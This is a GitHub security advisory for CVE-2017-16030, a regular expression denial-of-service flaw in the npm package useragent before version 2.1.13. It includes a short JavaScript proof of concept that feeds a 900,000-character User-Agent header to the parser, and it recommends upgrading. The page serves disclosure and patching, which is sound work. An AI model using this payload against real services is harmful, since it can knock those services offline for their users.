GitHub Advisoryadvisory · npm

GHSA-pjmx-9xr3-82qr ReDoS via long UserAgent header in useragent

HIGH Published 2018-07-24 Modified 2023-09-06 Official page ↗
Aliases
CVE-2017-16030
Ecosystem
npm
Packages
useragent
Severity
High
Weaknesses
CWE-400
Reviewed
2020-06-16

Affected packages

• npm useragent: < 2.1.13 → fixed in 2.1.13

Description

Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed. Proof of Concept ```js var useragent = require('useragent'); var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP'; var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n'; console.log(useragent.parse(request)); ``` Recommendation Update to version 2.1.13 or later.

Related

Alias · CVE (1)

  • CVE-2017-16030 Useragent is used to parse useragent headers. vulnerability

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References